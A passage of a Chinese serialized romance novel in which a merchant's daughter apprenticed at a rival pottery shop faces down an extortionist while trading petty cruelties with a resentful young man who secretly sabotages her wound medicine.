“如果小姐想要折辱人的话,请她另请高明吧。”杜师傅皱眉,他是个手艺人,只知道如何教学徒。
伙计简直想撬开杜师傅的脑袋看看里面到底装了什么,但他还是得耐心解释:“杜师傅,不是人人有这个机会的,小姐这是器重你!将来杜师傅没准成为江家陶肆的扛把子。”
杜师傅还是皱眉,他就是觉得这事不地道,他也不想被卷进来,对于他们这种人来说,江家和柳家都是惹不起的人家。
伙计见到杜师傅不说话,从口袋里摸出一个小盒子。
二话不说将小盒子直接塞进杜师傅口袋里。
杜师傅急眼:“这是何物?这是要干什么?”
伙计挤眉弄眼,拍了拍杜师傅:“这是小姐给你的赏赐。她说了等你做好这差事,后头还有更多奖励。”
“可是…”杜师傅欲言又止。
伙计见他还是犹豫不决,软的不行来硬的,语气冷下来:“这事杜师傅您不愿意干也得干,我没记错的话,您的妻子还在江家府邸养病呢,这些年可是江家出钱为她治病的,这点小事您都不愿意效力吗?”
想起自己那可怜的妻子,杜师傅闭了闭眼,自己家缺钱,妻子常年缠绵病榻,也就靠这手艺糊口,江家到底不是自己能惹得起的。
他无奈点头。
伙计见他点头,满意点了点头,离开时语重心长:“杜师傅,神仙打架,咱们普通人只管保重自身利益才是最重要的。”
杜师傅叹气。
他何尝不明白,小伙计说的是真理。但于他良心上,他过不去。另一方面,上次比试,他觉得这位柳小姐在陶艺上有些天分,是个可塑之才。
能带出高徒,是他一直以来的梦想。
也罢,也罢,要怪只能怪这柳小姐得罪了江小姐。
却说隔壁柳芸左等右等,等不来杜师傅。
她性格本就不是能忍的,当即就要发怒。
这时,进来一个跑腿的面生伙计。
那伙计进来就说:“柳小姐,杜师傅让你去前厅招待采买的客人。”
柳芸挑眉:“这也是学徒要做的?”
伙计只是公事公办的语气:“我只是来传话的。”
柳芸想着在这也没事干,还不如出去找点事,起身便随伙计走了。
江家陶肆人声鼎沸,生意兴隆。
柳芸一进去,几乎就被人潮淹没。
她想起自家陶肆,门可罗雀,不由得心生羡慕。
伙计道:“人手不够。柳小姐便帮忙招待一下吧。”
然后他不知从何处掏出一件麻布衣衫塞给柳芸:“这是工服,记得换上。”
说完,他不等柳芸反应,转身进入人群,一眨眼就不见了,像个泥鳅。
柳芸随手将宽大的麻布衫套在身上,走到柜台后。
陶肆里吵吵嚷嚷,窑烟与陶土的淡香萦绕,架上瓶瓶罐罐码得齐整。
柳芸不由得被吸引,她走到架子前仔细赏玩瓷器。
有些瓷瓶放置久了难免落灰,她见几案上有块麻布,抄起麻布低头擦拭一只白釉梅瓶。
正专心,柜台前忽然一声重响。
一位锦衣华服的男子将一只青釉茶盏摔在案上,瓷面轻磕,发出很刺耳的一声。
“大家来评评理,这家店家好黑心!”他扬声一喝,故意引得街上行人纷纷探头。
男子朝着柜台后的柳芸吆喝:“这茶盏釉面暗裂、胎体轻薄,分明是残次品!今日不赔我十倍价钱,我便砸了你这小店!”
他进来就看见柳芸,想当然以为她是这家陶肆的掌柜,他也没看见其他人,反正逮着谁就是谁。
柳芸抬起头望向来人。
男子正想继续发难,却撞进一双艳丽的眼眸。
女子瓜子脸,下巴尖尖的,一双眼睛含着雾气,盯着人的时候更显得我见犹怜。
好俊俏的姑娘。男子心中浮现这样的念头。
他一时被柳芸的外貌蒙蔽,以为此人肯定是个软柿子。
柳芸抬眸,目光淡淡扫过那茶盏,心下了然——盏身莹润,所谓裂痕,不过有人暗中用指甲掐出的假痕。
她不慌不忙上前,将茶盏轻轻托在掌心,声音清脆却字字清晰:“陶器出窑前再三查验,有裂者绝不出售。此盏您既然当时自行带出陶肆,想必已经是检查过了,此刻回来便说有裂,未免不合情理。”
“一派胡言!”男子完全不听柳芸的说辞,骂骂咧咧,伸手便要挥落她手中茶盏,“分明是你家以次充好!”
男子的声音特别大,引得来来往往的路人都停下来看热闹。
“什么情况?”
“那男的我看着眼熟?”
“那不是陈县令的表侄罗松乔吗?”
“诶对对!罗家在长安横行霸道惯了,这女子有难了啧啧啧。”
“说啥呢,这可是江家陶肆,江家也不是吃素的。”
“陈县令前几日刚贴出来告示要招募陶匠,江家就撞在枪口上了。”
……
柳芸自觉已经压制脾气,心平气和同他解释了,但此人仍旧不知好歹,她也不装了。
反正是江云锦家的店铺出问题,又不是她家的。
她环抱双臂,脸色沉下来:“那你想怎么办?”
“诶你这什么态度?你是对待客人的正确态度吗?做错了事情就应该好好赔礼道歉!把你们江家主事的叫过来!”罗松乔油腻的脸怼到她面前,指着柳芸鼻子道。
柳芸眼睛都不眨一下,抓住罗松乔伸出的手指,后者甚至完全来不及反应,手指就已经以一种极其诡异的姿态扭转过来,发出了清脆的咔擦声。
骨头断裂的痛苦一下子席卷全身。
罗松乔痛得呲
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牙咧嘴,嗷呜一声,顾不得在场还有这么多围观群众,倒在地上哇哇大叫。
柳芸脸上显露出不耐,她冷冰冰盯着地上的人:“谁允许你这么同我说话的?”
罗松乔自觉在众人面前丢尽颜面,两颊涨得通红,双目充血:“你……你可知道我是谁?”
柳芸方才听到了众人的议论,隐约听到此人貌似是陈县令的亲眷。
柳芸心中冷笑,陈县令的亲眷呀,那就更好了,此人一定会将这笔帐算在江家身上,到时候有热闹看了。
前厅吵吵嚷嚷的声音终于唤醒了还在后面躲懒打瞌睡的伙计。
伙计原本想着多了一个人,他可以偷偷懒,谁曾想,睡得正香,却被尖叫声吵醒。
伙计皱眉:谁啊?哪里来的泼皮无赖?
他心中骂骂咧咧走出去,出来就看见倒在地上的男人。
第一眼,霍,现在泼皮无赖已经这样不要脸了吗?
第二眼,啧,这人嚎得这般难听。耍无赖也好歹找个专业点的吧!
第三眼,完了完了,这人怎么看着像罗公子!
伙计恨不得自己现在原地消失。
没办法,他硬着头皮迎上去,要去搀扶罗松乔。
罗松乔直接一把拍开他的手。
伙计堆着笑容,佯装仍然在状况外:“呀!罗公子,什么风把您给吹来了?”
罗松乔看了一眼伙计,听的话分明认得自己,这就好办多了,不像方才那个女人,有眼无珠!
他摆上架子,指着茶盏道:“我方才买的茶盏是残次品!你们陶肆不仅不认错,还态度恶劣!赶紧把这个人辞退!”
他又指向柳芸。
看到女子漂亮的脸,他脸上又出现油腻的笑容,眼神黏腻腻盯在柳芸脸上:“必须把她送到我府上好好赔罪!”
伙计闻言,转头瞪了一眼柳芸,此人今日才来上工,就给他惹这么大的麻烦!
他向罗松乔鞠躬赔罪:“实在对不住啊罗公子,这个伙计是今天新来的。不懂规矩,还望您大人有大量,不要同她太计较。”
罗松乔将被掰断的手指举起来,面露狰狞:“我原谅她?那谁给我的手指一个交代呢?”
柳芸冷哼一声:“剩下的手指也不想要了?”
“怎么说话的!还敢挑衅老子!”罗松乔暴跳如雷。
但下一秒对上柳芸冷若冰霜的眼眸,他断掉的手指隐隐作痛,不由得畏缩几分。
伙计感觉自己成了夹在中间的受气包,他喝止柳芸:“你闭嘴。”
然后将罗松乔安置在座椅上,为他倒上温热的茶水。
“您看,小店愿意赔偿您这茶盏三倍的价钱如何?”伙计拿出自己的诚意。
平日里陶肆的规矩只需要照价赔偿就行,遇到泼皮无赖,直接扔出去了事,能拿出三倍赔偿已经是伙计最大的诚意。
罗松乔拍桌子:“不行!我要十倍赔偿,还要这个女人亲自道歉!”
伙计走到柳芸身边,拉了拉她的袖子,压低声音:“你去给客人道歉。”
伙计只知道今日陶肆新来了一个帮工的,并不知道柳芸名字,也无从得知她的身份,因此也就看低了她。
“我?”柳芸好笑地指了指自己,又指了指罗松乔,“给他道歉?”
13. 赶跑
伙计蹙眉,这新来的一点眼力见都没有,罗家哪里是她能惹得起的。
他压低声音,好心劝她:“你还是赶紧认个错低头吧,这是陈县令的表侄,万一招惹到他,就麻烦了!”
多一事不如少一事。
说着,他伸手推了一把柳芸。
柳芸被他推到罗松乔面前。
罗松乔以为她到底服软了,嘴角噙着油腻的笑容,就想上手摸她的脸。
柳芸反应机敏,身形微侧,稳稳避开,眉峰微抬,语气添了几分冷锐:“小店临街,往来皆是街坊,街头更有里正巡视。若罗公子坚持是小店之过,我这便请今日当值的里正与诸位一同评理,细看这裂痕是新是旧。”
此话一出,围观群众纷纷叫好,罗松乔脸色骤变。
“我看这姑娘说得对!既然有异议,双方又无法统一意见,那找里正最好!”
“对啊对啊!罗公子你不会害怕了吧哈哈哈哈哈。”
“胡说!罗公子是陈县令的表侄,他怎么会惧怕?”
也有人觉得柳芸糊涂,同情她摊上这么个纨绔,劝解——
“姑娘诶,你要不就认错吧,官府的人怎么会帮我们这类小老百姓。”
“对啊,现在能解决是最好的了,陈县令难道还会不帮亲侄子却帮你吗?”
……
罗松乔心里并不轻松,他当然清楚今日这事就是自己没事找事,赌博没钱了随便打家劫舍,挑了一家陶肆,往日这些店铺都惧怕他的来历,不敢不从。
没想到今日碰到个硬茬。
他打着陈县令的旗号在外坑蒙拐骗,万一真被告上衙门,被表舅得知,铁定要被他狠狠责罚!
伙计愣住,以为自己幻听了,现在新人都这么天不怕地不怕的吗?
她顿了顿,目光平静却带着锋芒,丝毫没有动摇:“若真是我陶肆疏忽,甘愿十倍赔偿。可若是公子故意损毁、借机讹诈——在这长安,恶意滋扰商户,按律可是要杖责罚银的,罗公子可要想清楚。”
一席话说得不卑不亢,条理分明。
柳芸心中冷笑,还好她读过书知道律法,难道还治不了这泼皮?
围观的路人被柳芸的气势震慑到,见她分析得头头是道,字字珠玑,心中天平便倾向柳芸这头,更有早有看不惯罗家行事作风的,顿时议论开来,句句扎在那罗松乔心上。
“看这茶盏好好的,哪是什么暗裂,分明是故意掐的。”
“半时辰前我亲眼见他拿着好盏出门,这会儿倒来讹人。”
“这陶肆姑娘看着柔弱,倒是口齿伶俐,说得有理有据。”
“可不是嘛,光天化日之下想讹钱,也不看看这是什么地方。”
“再闹下去,里正来了吃亏的是他自己。”
罗松乔听见周围议论声,脸色一阵青一阵白,被众人看得心虚气短,再无半分嚣张气焰。
他恨恨瞪了柳芸一眼,恨不得将她骄傲的脸即刻撕碎,他咬牙啐了一口:“算老子倒霉!”
说完,他一甩袖子,骂骂咧咧,形容狼狈地离开了。
围观群众自觉给他让出一条路。
待他离去之后,不少人爆发出叫好声庆贺声。
伙计看了一眼柳芸,摇了摇头,有些同情和惋惜:“何必闹成这样?你今后恐怕惹上麻烦了。”
好好一个漂亮姑娘,偏生脾气这样犟,这可不是好事啊。
柳芸却不以为意,重新坐回柜台:“怕他做什么!”
“你——”
伙计语塞,感觉此人完全听不进去他的话,好言难劝该死的鬼。
算了算了。
伙计摇了摇头,无奈。
他要抓紧将此事上报给上面的人知道,罗家恐怕不会善罢甘休。
江云锦得知此事差点被茶水呛到,她气得七窍生烟,指着管理陶肆的账房先生呵斥:“你做什么让她去招待客人?我让你给她吃点苦头。现在好了,反倒变成我家陶肆得罪人家当官的!!”
江云锦越想越气,手底下的人对自己的吩咐理解出现偏差,酿下了祸端。
账房先生瑟瑟发抖,试图为自己辩解:“但……那罗公子确实是胡搅蛮缠……”
“拿些钱打发他得了,我们江家缺这点钱吗?”江云锦见账房先生还没开窍,忍住怒气解释,“现在是什么时期?是陈县令要招募一批陶匠制作陶器进贡,她今日顶着江家名号得罪了陈家人,我们生意还要不要做了?”
账房先生被她吓得垂下头,不敢多语了。
江云锦身边的大丫鬟上前覆在她耳边低语:“小姐,事已至此,不如先想法子道歉,也表示我们的态度。”
江云锦颔首,忽地想起什么,问账房先生:“你方才说罗松乔离开时提了什么要求?”
账房先生已是满头大汗,拼命回想,然后讷讷说:“似乎是……说让柳小姐亲自登门道歉。”
江云锦眼神闪了闪,嘴角翘起:“那就让她去道歉。”
“可是……”账房面露难色,他犹犹豫豫开口,“柳小姐那边……未必肯……”
救命,自家小姐是大佛,那柳小姐也是尊难搞的大佛,谁请得动她啊?
江云锦皱眉:“你不会动动你的脑子吗?”
账房不知道自己又说错了什么,只恨自己太愚笨。
“你过来。”江云锦朝他招了招手。
账房乖乖走过去,将耳朵凑过去。
江云锦嘀嘀咕咕吩咐了一堆,账房眼睛亮了亮,忍不住竖起大拇指:“小姐真聪明。”
“好好学着点吧你!这件事做仔细了!再出纰漏我唯你是问!”江云锦没好气。
账房急忙应下。
……
春桃按照吩咐来接柳芸回府。
她刚到门口,就看见柳芸正站在柜台后帮客人结账。
春桃眼睛一下子红了。
裴济之扫到春桃的反应,完全不能理解:“你哭什么?”
春桃现在看见裴济之就烦,一想起裴济之是最先抛弃小姐离开的人,她就替小姐生气。但裴济之到底是老爷带回来的人,她不能不回答他的问题。
“小姐从小到大哪里做过这个!”春桃说着,更加伤心,从前夫人在的时候,将女儿当作心头肉,哪里肯让她吃半分苦。
怪道长安的人都说,没娘的孩子像根浮萍。
柳芸接过客人递过来的银子,收进抽屉放好,抬头就瞥见自家马车已经停在陶肆门口。
她看了眼窗外的天色,已经完全黑下来了。
春桃迎上来,
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上上下下打量她,急切询问:“江家有没有欺负小姐?”
柳芸想起白天杜师傅突然消失不见,然后她被带到这里招揽客人,又遇见罗松乔这个纨绔……她笑着点了点她的额头:“在你眼里,你家小姐是会平白被人欺负的性子吗?”
“那自然不是的!我家小姐天资聪颖,神机妙算,英明神武……”
“什么乱七八糟的!你这是把你会的所有成语都用上了吧。”柳芸捂着嘴乐。
春桃摇晃她的胳膊:“小姐不要取笑奴婢。在奴婢心里,任何词汇都不足以形容您。”
柳芸被她逗得咯咯笑,抬眼却瞥见站在几步后头的裴济之。
裴济之也在看她。他是单纯好奇这个娇生惯养的娇小姐做了一天活会怎样,他以为她会是疲惫不堪的,叫苦不迭,至少应该是毫无生气的……
他有些意外,他未曾料到这女子连上下轿子都要他抱,干了一天的活居然还能笑靥如花。
大小姐笑起来嘴角两颗酒窝陷进去,像小小的漩涡。裴济之不由得盯着多看了一会儿,然后抬眸就对上柳芸的眼睛。
柳芸自然是没好脸色给他的,冷哼一声,目不斜视地从他身旁走过。
她仿佛没看到裴济之这个人一般。
经过他身边时,还很恶劣地抬手,将衣袖沾染的陶泥挥到他脸上。
桃红色的丝绸袖子拂面,带来一阵凉风。
裴济之身形未动,他嗅了嗅,空气中夹杂着庸俗的脂粉气。
是柳芸身上特有的脂粉气。
奇怪,裴济之好像并不觉得难闻。
他从前在侯府是最讨厌女子身上的脂粉气的,闻得久了浑身难受,他从前是能躲多远就躲多远的。
可柳芸的脂粉气拂面的时候,他倒觉得这气味与她正适配。
“还不滚过来!”柳芸站在马车前,转身看向他,没好气。
好吧,还是那个娇生惯养的女子。裴济之觉得自己又高估了这女人。
柳芸上车之后,居高临下吩咐众人:“从今往后,你们不用全部都来接我。春桃和裴济之今后分好工。”
春桃连忙应下。
柳芸睥睨着底下站着的男子:“听到了吗?明日你来接我。”
然后,她钻进了轿子里,隔着帘子道:“回府吧。”
柳芸其实还是很累的,从前在家里哪里用得着做这么多事情,饭来张口衣来伸手,到底是做了一天的伙计,她也是强撑起精神。
用完晚膳之后,她就想早早安置休息。
结果,未曾料到,到了晚上,她受伤的那根手指忽然胀痛起来,十指连心,那根手指突然肿胀,纱布都有要裂开的迹象。
柳芸痛得咬牙,不停抽气。
春桃吓坏了,她急得团团转,天色已晚,外面的医馆都关门了。
她要去哪里找大夫?
明明已经止住血了,怎么会突然发作得这样厉害?
春桃突然想到什么,焦急地道:“小姐,您受伤到现在只有裴公子给您上过药……”
春桃想说什么,柳芸心里很清楚,她第一时间也怀疑是裴济之。
她分明嘱咐过他要好好熬药的。
好好好,会咬人的狗不叫。
“把他给我带过来!”
14. 烫吗
柳芸派人来叫裴济之的时候,他正在柴房中同一个黑衣服的男子说话。
黑衣男跪在裴济之面前,双手抱拳,脸上满是愧疚和恭敬:“主子,是属下来晚了。”
裴济之背着手站在窗前:“凌安,我父亲母亲那边如何?”
凌安立刻回禀:“老爷夫人路上吃了点苦头,但一切安好。他们让我告诉您不必挂念他们,让您在长安柳家好好读书。”
裴济之牵挂父母的情况,得知这一消息,心下也安定不少。
那日柳芸按照约定给了他一大笔钱,裴济之就找到黑市,花了重金寻人。
原本没有抱多大希望,但第二天就有个人过来讨要赏金,说是找到了他要找的人。
此人就是凌安,他的亲卫。
只不过他找到他的时候,凌安浑身是伤。
裴济之又请了大夫替他治病,这几日才缓过来。
裴济之想让他多休息几日。
凌安却执意要陪在他身边。
“主子,你的安危是最重要的。”
突然,柴房的门被敲响。
“谁?”裴济之警觉。
“是我,春桃。”
“你来做什么?”
春桃的声音隔着门传进来:“小姐的手胀痛不已,她叫我过来传你过去。”
裴济之眸中闪过一抹异色,长长的睫毛垂下来敛住。
“好。我随后就到。”
春桃听着裴济之声音并没有慌乱,一如往常,有些怀疑自己是不是多心了。
裴济之朝凌安做了个手势,然后走过去开门。
凌安在他背后躬身。
透过敞开的门缝春桃往里瞄了一眼,屋子里空空的。只开着一扇窗户。
真是的,大冷天的为什么要开窗呢。
春桃来不及多想,裴济之已经走出去老远了。
柳芸的伤口此刻已经痛的不行,纱布摩擦伤口,每一下都如同钝刀子割肉般,鬓角的冷汗冒出来。
裴济之进来就是看到她这副样子倚靠在床头,闭着眼睛,眉头微皱。
柳芸听到动静,睁开眼睛,冷着脸盯着裴济之一步步走上前。
她眯起眼睛,在他脸上看不出一丝端倪。
“跪下。”
柳芸冷冷道。
裴济之便撩起长袍跪在她面前,眼睛还是直勾勾放在她脸上。
柳芸举起缠着纱布的手指,此刻伤口又裂开了,雪白的纱布上沾满鲜红的血。
“是你做的?你想报复我?”柳芸死死盯着他的眼睛,试图从他一尘不变的表情中看出端倪。
裴济之将视线移到她肿成猪头的手指。
有一瞬间,柳芸觉得自己出现了幻觉,不然她为什么看到裴济之的脸上出现了一个诡异的笑容,他唇角翘起,但很快消失不见,就像一块儿石子落进池塘。
“不是。”裴济之摇头。
柳芸因为疼痛脸色发白,她伸出另一只完好的手,揪着裴济之的衣领,迫使他朝自己靠近。
她的唇因为用力而颤抖。
“我不信。”三个字从她嘴里蹦出来。
裴济之被她一拽,瞬间离她极近。
他轻轻挑眉:“你不信我,我也没办法。”
“我之前只同你说过,熬制我的药方需要三种草药,缺一不可。”柳芸居高临下望着他,“你真的按照我的要求了吗?”
“三七、白及、蒲公英。”裴济之流利地将草药名字全部背出来。
柳芸见他丝毫没有心虚之色,心中的怀疑有些动摇,难道真的不是他?
可是怎么可能呢?只有他接触过她受伤的手指。
柳芸弯下腰,俯身贴近裴济之。
裴济之仰着头,纹丝不动。
两个人距离极近,近到呼吸缠绕在一起。
柳芸试图在他脸上看出破绽,裴济之却始终一副风轻云淡的表情,直直回望她。
最后还是柳芸移开了视线,她松开了对裴济之的桎梏。
“真的不是你?”柳芸支着下巴斜倚在靠镇上,眼眸中闪过困惑。
裴济之拱手:“小姐如果不信我,大可以将昨日熬煮的药材取出来察看。”
柳芸觉得他的提议有道理,看了一眼在旁侍立的春桃:“你去取出来查验。”
春桃领命下去。
柳芸的手指还在作痛,她懒得动作,也懒得应付裴济之,只想安静休息会儿。
她倚靠在床头,屋内安静得落枕可闻,她渐渐有了困意,上下眼皮不住地打颤。
裴济之只听见头顶传来女子均匀的呼吸声。
抬头望去,少女斜倚在软枕上,眉头因为疼痛而微蹙,长长的睫毛垂落,在眼下投出一道阴影,平日里的傲气和骄纵此刻尽数褪去,将最毫无防备的一面展现在他面前。
烛火洒在她蹙起的眉头,像一团柔软的火焰。
裴济之不自觉也放轻呼吸,别开了眼睛,双手在两侧悄悄握紧。
他不可以动摇!
春桃的声音从外面传来:“小姐,找到了。”
浅眠的柳芸猛地惊醒,她睁开眼睛,刚开始还有些迷惘,然后春桃捧着托盘走进来。
“小姐,药渣确实是三位草药没有错。”
柳芸点了点头。
既然不是裴济之,哪还有谁呢?
柳芸累得脑子已经转不动了,她摆了摆手:“罢了,今天你们就先回去休息吧。春桃,你再帮我查。”
裴济之洗清了自己的嫌疑,起身退出了屋子。
他刚走出院落,角落里闪现出凌安的身影。
“主子,已经按照您的吩咐替换了药渣。没有人发现。”凌安恭敬地回禀。
裴济之垂下眼眸:“恩,做得不错。”
其实,柳芸并没有猜错。
确实是他少放了一味蒲公英,伤口才会因为发炎而肿胀起来。
他确实是故意的。而且也是为了报复她。
“主子,容我多嘴。”凌安望着主子颀长而清瘦的背影,犹豫着开口。
“你说。”
“主子若是看不惯那姑娘何必如此麻烦?我可以替您杀了她。”凌安眼中闪过一丝狠厉。
裴济之眼神变得锐利,语气变冷:“不可。她父亲毕竟收留了我,做人要知恩图报。更何况,我家遭此变故,更不可惹是生非。”
凌安连忙跪下:“是属下多嘴了。”
“无妨,我知道你是为我好。”裴济之顿了顿,“以后做事不要冲动。”
“是。”
……
春桃担心柳芸,一夜没合眼,就守在她床榻边。
好在一夜过去,手上的红肿终于消退不少。
春桃一大早请了郎中过来,仔细瞧了病症,再开了药,给柳芸灌下去,才终于放下心来。
裴济之则负责摆放柳芸的早膳。<
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p>柳芸娇生惯养,早膳也极为讲究。
丫鬟们早早捧着食盒等候在门口。
往日布菜这活是春桃做的,今日便轮到他身上了。
裴济之卷起袖子,掀开食盒。
食盒里头皆是白瓷碗碟,每只白瓷碗都描着淡青色缠枝纹,十分精致小巧。
一道道菜肴摆上餐桌,有枣泥山药糕、桂花糖粥、酱菜脆笋……
柳芸收拾妥当从里间走出来,自然而然坐在主座。
春桃拾起筷子,要给她夹菜。
“让他来。”柳芸眼皮也不抬一下。
春桃手一顿,看向裴济之。
裴济之以为没自己的事情了,刚要回去温习功课就被叫住,他只好折返回来,从春桃手里接过筷子。
柳芸拿起汤匙,舀了一口糖粥放进嘴里,旋即烫得倒抽一口气。
她下意识缩手,却忽略了自己受伤的手指。
瓷勺“当啷”一声轻磕在碗沿,滚烫的粥液溅落在手背上,灼得她指尖猛地一颤。
疼意从皮肤细细密密扎进去,连带着伤口一起抽痛。
她眉峰骤然蹙起,唇瓣抿紧:“你是想烫死我吗?”
那双眼睫,此刻不受控地轻颤着,眼底漫开一层薄薄的湿意。
春桃见小姐动怒,赶紧冲裴济之道:“还不快给小姐赔罪。”
身后的丫鬟们将他扣下,摁在地上跪下。
“手伸出来。”柳芸冷冷吩咐。
裴济之的双手便被人强行拽出来。
柳芸将盛着滚烫的粥的碗直接摁在他手掌心,语气带着赤裸裸的恶意:“你替我吹凉。”
裴济之手背上的青筋猛地暴起,指节瞬间被烫得通红,却死死攥着碗底没松手。
他知道,如果他现在松手,粥碗掉在地上,那就不只是吹凉热粥这么简单的责罚了。
裴济之再抬眼时,眼底翻涌的痛意已被他强行压下去,只剩一片顺从的冷寂。
只是垂眸时,长睫掩盖下的眼神暗得吓人。
他没去碰那碗沿,就那么任由滚烫的瓷碗烙着手心。掌心白皙的皮肤瞬间红肿起来。
他感觉自己的手已经失去了知觉。
缓缓将碗端到唇边,低头对着碗里的粥,一下下吹着气。
热气模糊了他的眉眼。
“小姐,粥已经凉了。”
裴济之将粥重新递给她。
柳芸却没有接,她抬眼吩咐春桃:“盛一碗粥给他吃。”
春桃不懂小姐要做什么,但她照做就是了。
柳芸的指尖还带着未消的薄红,捏着汤匙舀起一勺滚烫的白粥,不由分说递到裴济之唇边。
“张嘴。”她的语气带着强硬。
刚出锅的粥热气蒸腾,烫得人鼻尖发疼,但他却半点不敢避让,只垂着眼,喉间微微发紧。
裴济之张开嘴,滚烫的粥液瞬间滑入口中,灼得舌面与喉间一阵发麻,细密的疼意窜上来。
柳芸观察裴济之的反应,盯着他,眼神带着警告,若是看见他将粥吐出来,一定不会轻易放过他。
裴济之连眉头都不曾皱一下,只静静望着她,喉结轻轻滚动,默默将粥咽了下去。
见他强忍痛意,柳芸露出恶劣的笑容。
她故意又舀了更烫的一勺,贴在他唇边,语气带着几分刻意的嘲讽:“烫吗?”
他喉间低哑,只轻轻应了一声:“……不烫。”
15. 美人
柳芸盯着裴济之隐忍的眉眼,忽然放缓了动作,俯身靠近,对着他唇边那勺粥,轻轻吹了吹。
温软的气息拂过勺沿,也拂过他紧绷的面颊。
方才还灼人的滚烫,在她这几缕轻浅的气息里,竟瞬间化作蚀骨的痒,从舌尖一路烧到心底。
裴济之垂在身侧的手猛地攥紧,指节泛白。
下一秒,冷冰冰的声音在头顶响起——
“现在知道我喝的粥要什么温度了吗?”
……
早上的事情似乎让裴济之变得心神不宁。
马车到了江家陶肆,柳芸钻出帘子,就见到裴济之抿着唇不知道在想什么。
“今天你负责接我,别忘了。”
柳芸伸手在他眼前挥了挥,神觉此人木讷的程度又加深了。
懒得管他,柳芸转身往陶肆走去。
她的背影消失在裴济之的视线里。
“主子,这歹人竟敢如此苛待您!让卑职为您解决了她吧,碾死柳家于主子您而言,不过是碾死蝼蚁罢了。”凌安悄无声息出现在他身后。
他武功高强,柳家那群人一个都没察觉异样。
不看不知道一看吓一跳,主子竟然在这里过的是这样的日子。
凌安从小就被当做裴济之的亲卫培养,他看着他长大,哪里见过身份尊贵的他跪在一个名不见经传的女人面前受辱。
凌安越想越气,如果不是裴济之不允许,他下一秒就可以冲进去宰了那女人。
“凌安。”
裴济之周身气压骤沉,声线低沉,分明只是叫了凌安名字,却无端让凌安觉得后背发凉,如芒在背。
“属下在。”
“以后休要再提此事。”
裴济之声音冷冰冰的。字字冷硬,带着上位者不容反抗的威严。
凌安将头埋得低低的,不敢再多嘴。
柳芸一进陶肆便被引入后厅。
她挑眉,打趣:“今天不安排我招待客人了吗?”
伙计脑袋冒汗,心里想哪里敢再让姑奶奶您待在那里啊,第一天就惹了罗松乔。
再待下去,陶肆招牌总有一天栽在您手里。
杜师傅今日穿戴整齐,全身上下都是崭新的衣物,一看就是昂贵的布料裁剪出来的,全然不似往日沾满陶泥的样子。
柳芸好奇地多看了他几眼。
杜师傅板着脸,显然因为崭新的衣物有些拘束:“你今日同我一起送货。”
送货?
是了。陶肆遇到贵人的订单,会提供送货上门的服务,金主砸钱多,伙计们也愿意帮忙,没准还能拿点碎银子。
柳芸大致了解一些陶肆运作,倒也不觉得诧异。
再看杜师傅今日焕然一新还整理了仪容仪表,猜测是要去显赫的府邸。
“你过来,帮忙装车。”
杜师傅生硬地吩咐她。
既然是杜师傅带队,柳芸就存了能在他身上学到点技艺的心思。
陶瓷堆满了仓库,锅碗盏碟各式各样都有。
柳芸皱眉,手挡在鼻子前,扬了扬飞舞的尘土:“这也太多了,我搬不了。”
杜师傅语气严厉:“若是连这点苦都吃不了,便请自行离开吧。你不适合做陶匠。”
他语气冷硬,
柳芸打定主意要偷师陶艺,她只好忍着不适,学着小伙计们将瓷器用油纸小心打包好,然后按照尺寸依次放进装货的车里。
只是装到后面,屋子里剩下几只巨大的陶瓮。
其他人都在忙碌。柳芸见无人得空能搭把手。
她决定索性自己来。
她弯腰攥住陶瓮粗涩的口沿,因为咬牙用力指节凸起,关节泛白。
柳芸没料到这陶瓮看着轻盈,实则那沉得惊人,像灌了半罐铅水。
她这一下发力竟然纹丝未动。不过她的手受伤了,为了避开伤口,难免力气不如从前。
但她柳芸是谁?没有她主动服输的时候。
既然抬不起来,只能换成拖拽了。
柳芸将陶瓮倾斜,斜着一点点抬离地面。因为用尽全力,她的手臂微微发颤,青筋在腕间隐隐凸起。
她咬着下唇,一步步挪到牛车边,另一只手扶住边缘,先尝试将陶瓮下半身斜斜抵上去,再咬牙向上猛一送。
陶瓮重重落进牛车,震得她虎口发麻,小臂酸软得几乎抬不起来。
终于成功了。
柳芸甩了甩酸软的手臂,大大舒了口气。
杜师傅站在远处,看见这一幕,不由得暗暗惋惜。
他没看错这孩子,确实是个可造之才,只是可惜了得罪了江家和罗家。
柳芸跟着杜师傅一同出发。
两个人坐在牛车上,杜师傅嘱咐她:“一会到了地方不要多言。”
柳芸好奇:“究竟要去哪里?是谁家订了这么大的订单?”
要是有可能的话,把这个大客户拉到自己家陶肆就最好了!
这就话柳芸憋在心里没说,但她眼睛放光,就像已经看到了黄金入账。
杜师傅见她这副兴高采烈的样子,心中更是愧疚不已,不敢直视她的眼睛,移开了视线,遥望远方出神。
柳芸只当手艺高超者都有些独特的性格,也就没有起疑。
等到了地方,柳芸下了车,目之所及,所到之处果然是大户人家的宅院。
院落阔达,到处是假山碧石,青砖绿瓦,曲水游廊,布置奢靡。
忽然有人迎上来,递给她一条长袍。
那人垂手而立,眉眼低垂,神色木然:“这是府上的规矩,还请换上。”
同时也递给杜师傅一件。
二人便依言换上特制的长袍。
牛车停在外头,自然有下人负责搬运陶器进府。
柳芸发现好像没自己什么事情,开口:“货已经送到,是不是可以走了?”
杜师傅眼神闪烁,他虽领着柳芸过来,但终究是不忍心,下意识便急切接口:“对,咱们赶紧走吧。”
岂料,话音刚落。
一道男声响起。
“欸,这不是咱们柳大小姐吗?”
柳芸眯起眼睛,朝来人望过去。
姚文正站在不远处对着她露出不怀好意的笑容。
“二虎?”柳芸皱起眉。
姚文怎会在此处?姚家她是去过的,并不是这个府邸。
那这家主人到底是谁?
“你怎么会在此处?”柳芸直截了当开口询问。
“啧啧啧。”姚文上上下下打量着她,眼神嘲讽,“士别三日当刮目相看,芸娘你如今真去当江云锦家的学徒了。看
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着真寒酸。”
“哦。”柳芸反应平平。
姚文炸毛:“你哦什么?”
“我怎么记得你爹前几日还来我家借银子呢,我如今是寒酸,那么用我家的银子的你呢?”柳芸语气轻蔑。
姚文被人戳中痛处,他平日总是攀附长安的豪门富绅,妄图通过接近这群人提高自己的身价,掩盖自己家其实并不那么宽裕的事实,他最嫉妒的,就是柳芸这类人,含着金钥匙出生,没吃过半点苦,安然接受旁人的讨好献媚。
他一张脸又红又紫。
末了,他瞪了她身旁的杜师傅一眼:“你可以走了。”
杜师傅却犹犹豫豫,看了柳芸好几眼。
柳芸心中生疑,但兵来将挡水来土掩,既然已经进了这里,杜师傅留在这儿也没啥用。
她对着杜师傅点头:“你先回去吧。这位是我同窗。”
杜师傅没办法,他谁也得罪不起,只好默默为柳芸祈祷一番退下了。
